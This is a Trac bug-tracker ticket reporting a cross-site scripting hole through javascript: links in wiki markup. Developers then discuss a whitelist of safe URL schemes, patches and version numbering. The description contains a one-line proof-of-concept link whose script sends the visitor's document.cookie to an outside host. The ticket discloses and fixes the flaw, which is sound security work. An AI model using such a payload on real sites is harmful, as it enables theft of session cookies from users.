Edgewall Software
Modify

Opened 4 years ago

Closed 4 years ago

Last modified 4 years ago

#9557 closed defect (fixed)

User-assisted XSS risk via javascript: links

Reported by: Matt McCutchen <matt@…> Owned by: rblank
Priority: high Milestone: 0.11.8
Component: general Version: 0.11-stable
Severity: major Keywords: security
Cc:
Release Notes:
API Changes:

Description (last modified by rblank)

[javascript://%0Alocation='https://mattmccutchen.net/private/trac-javscript-link?'+encodeURIComponent(document.cookie); Click here to send me your cookies.]

This should be blocked by checking link targets against the same set of safe schemes that the HTML sanitizer uses.

Attachments (2)

9557-safe-schemes-r9925.patch (1.1 KB) - added by rblank 4 years ago.
Suggested fix, breaks one test.
9557-configurable-safe-schemes-r9925.patch (5.8 KB) - added by rblank 4 years ago.
Make safe schemes configurable.

Download all attachments as: .zip

Change History (14)

comment:1 Changed 4 years ago by anonymous

open your door

comment:2 Changed 4 years ago by rblank

  • Milestone set to 0.12.1
  • Priority changed from normal to high
  • Severity changed from normal to major

Interesting. Thanks for the report!

Maybe even for 0.11.7.1?

comment:3 Changed 4 years ago by rblank

  • Description modified (diff)

And removed the actual link before too many people click on it :)

Changed 4 years ago by rblank

Suggested fix, breaks one test.

comment:4 Changed 4 years ago by rblank

  • Owner set to rblank
  • Status changed from new to assigned
  • Version set to 0.11-stable

The patch above (against 0.11-stable) is probably the most restrictive fix, as it restricts the link schemes to only those marked as safe in Genshi, that is, file:, ftp:, http: and https. This breaks one test that checks for the following links as being formatted correctly:

svn+ssh://secureserver.org
[svn+ssh://secureserver.org SVN link]
rfc-2396.compatible://link
[rfc-2396.compatible://link RFC 2396]

It would be nice to add a few schemes that are known to be safe, like ssh:, svn+ssh: or git:. But we will never catch them all, so how about an option [wiki] safe_schemes to allow customizing the list of good schemes?

Changed 4 years ago by rblank

Make safe schemes configurable.

comment:5 follow-up: Changed 4 years ago by rblank

This second patch makes the list of safe schemes configurable, with a sane default. It also uses the same list of schemes for sanitizing the output of the {{{#!html}}} wiki processor.

What say ye? Ok for 0.11.7.1?

(OT: Why call it 0.11.7.1? Wouldn't 0.11.8 be simpler?)

comment:6 in reply to: ↑ 5 ; follow-up: Changed 4 years ago by cboos

Replying to rblank:

This second patch makes the list of safe schemes configurable, with a sane default. It also uses the same list of schemes for sanitizing the output of the {{{#!html}}} wiki processor.

I wonder, is there any other unsafe possibility besides "javascript"? I know there are many funny variants to get the browsers (IE mainly) to interpret something as javascript in the end, but if we would first restrict to rfc:2396#section-3.1 (as we do with LINK_SCHEME) then exclude "javascript", we should be safe, no?

What say ye? Ok for 0.11.7.1?

(OT: Why call it 0.11.7.1? Wouldn't 0.11.8 be simpler?)

We picked 0.11.7.1 at that time because we had just one more security fix to add on top of 0.11.7 (attachment related). As time passed, there's been more fixes, so making a 0.11.8 release would indeed be possible now.

OTOH, 0.11.7.1 better conveys the "end of life" status of the 0.11-stable release line, and also we've been consistently talking about 0.11.7.1 in the commit messages (log:branches/0.11-stable?stop_rev=9338 ⇐ broken link btw!) and the code even (r9900), so keeping it would have my preference.

comment:7 in reply to: ↑ 6 ; follow-ups: Changed 4 years ago by rblank

Replying to cboos:

I wonder, is there any other unsafe possibility besides "javascript"? I know there are many funny variants to get the browsers (IE mainly) to interpret something as javascript in the end, but if we would first restrict to rfc:2396#section-3.1 (as we do with LINK_SCHEME) then exclude "javascript", we should be safe, no?

Not necessarily. The page you linked above mentions vbscript:, mocha: and livescript: as unsafe schemes (granted, on older browsers only). But my reasoning was rather that a whitelist is always safer than a blacklist. You never know what kind of scripting browsers will support in the future (maybe one day we will finally have a python: scheme :-). Also, Genshi uses a whitelist as well (slightly buggy, though, as it only checks alpha-numerical characters, and therefore misses "+-.". I need to file a ticket about that).

About 0.11.7.1 vs. 0.11.8, sure, the .1 suffix does convey some information, but even if we included only one fix, we could still name it 0.11.8 for simplicity. Mercurial did that for 1.6.2, released one day after 1.6.1.

I'm perfectly fine with 0.11.7.1. Maybe for future releases, we could stick to 3 version components, though.

comment:8 in reply to: ↑ 7 Changed 4 years ago by cboos

Replying to rblank:

Not necessarily (…)

Ok, go for this fix then (0.11-stable as well).

I'm perfectly fine with 0.11.7.1. Maybe for future releases, we could stick to 3 version components, though.

I have the impression that packagers are more likely to upgrade to .1 security fixes releases than go for another minor release, even if those would be the same changes…

But what we can do next time we're on a tangent situation, is to post-pone the choice of the version number to the moment we make the release. So if we're indeed doing it as an "after thought" of a minor release, we could use a patch release, but if this turn out to be a more regular release, increment the minor number.

comment:9 in reply to: ↑ 7 ; follow-up: Changed 4 years ago by osimons

Replying to rblank:

I'm perfectly fine with 0.11.7.1. Maybe for future releases, we could stick to 3 version components, though.

I think that we should reserve the 4-numbered releases for the "re-issue" of a version. In the rare event where for instance we spotted some file missing in distributions or installs, or some similar reason like this important and highly specific fix. We shouldn't schedule a release like 0.11.7.1 with milestone and all - if we need it, it will be obvious. Anything else that is just "later" of varying importance should be 0.11.8(dev).

The 0.11.7.1 release would then make sense as a re-release of 0.11.7 with this fix - but without any other 0.11.8dev fixes that may be part of the branch. It would be a re-issue of a release for a very specific purpose, and we could also adjust the content of the tagged code to just include this fix and nothing else. In practice we could even svn copy from the 0.11.7 tag, apply the patch and update versions, and commit the new tag. Separately committing the patch to 0.11-stable/0.12-stable/trunk as the regular workflow dictactes.

comment:10 in reply to: ↑ 9 ; follow-up: Changed 4 years ago by cboos

Replying to osimons:

I think that we should reserve the 4-numbered releases for the "re-issue" of a version.

Yes, and in case that was not clear from comment:6, this is just what was planned for 0.11.7.1 initially: add the attachment security fix to 0.11.7 and that's it.

However, this "last" 0.11 release never materialized for various reasons, mainly the focus on 0.12 from the active maintainers.

Anything else that is just "later" of varying importance should be 0.11.8(dev).

The problem is that a 0.11.8 version was never planned, as 0.11.7 was meant to be the last release of the 0.11-stable line. However we can have a "running" last milestone and never actually release it, like we did for milestone:0.9.7, milestone:0.10.6, …

The 0.11.7.1 release would then make sense as a re-release of 0.11.7 with this fix - but without any other 0.11.8dev fixes that may be part of the branch. It would be a re-issue of a release for a very specific purpose, and we could also adjust the content of the tagged code to just include this fix and nothing else.

That doesn't make sense in this case, as there is no reason to exclude what's already on 0.11-stable.

In practice we could even svn copy from the 0.11.7 tag, apply the patch and update versions, and commit the new tag.

And that would be very harsh for the mirrors…

So I pleaded to keep 0.11.7.1 for simplicity as that was the name we had, but actually doing the rename to 0.11.8 (and fix up for r9900) would have been faster, I imagine.

So I'd go for the following: rename the version to 0.11.8dev, rename the milestone to 0.11.8 and … leave it at this, as the branch was announced to be frozen anyway. People caring about getting the latest stable can always use it from svn, and packagers can cherry pick the security fixes they want.

We have enough work to get 0.12.1 out of the door!

comment:11 in reply to: ↑ 10 Changed 4 years ago by rblank

  • Milestone changed from 0.12.1 to 0.11.8
  • Resolution set to fixed
  • Status changed from assigned to closed

Patch applied in [9997].

Replying to cboos:

So I'd go for the following: rename the version to 0.11.8dev, rename the milestone to 0.11.8 and … leave it at this, as the branch was announced to be frozen anyway. People caring about getting the latest stable can always use it from svn, and packagers can cherry pick the security fixes they want.

That's fine for me, too. I have renamed the milestone and removed the due date, and I'll fix the version and [9900] in a minute.

comment:12 Changed 4 years ago by rblank

Version updated to 0.11.8 in [9998]. And now, if only I could find two items to commit right now… :)

Modify Ticket

Change Properties
Set your email in Preferences
Action
as closed The owner will remain rblank.
The resolution will be deleted. Next status will be 'reopened'.
to The owner will be changed from rblank to the specified user.

Add Comment


E-mail address and name can be saved in the Preferences.

 
Note: See TracTickets for help on using tickets.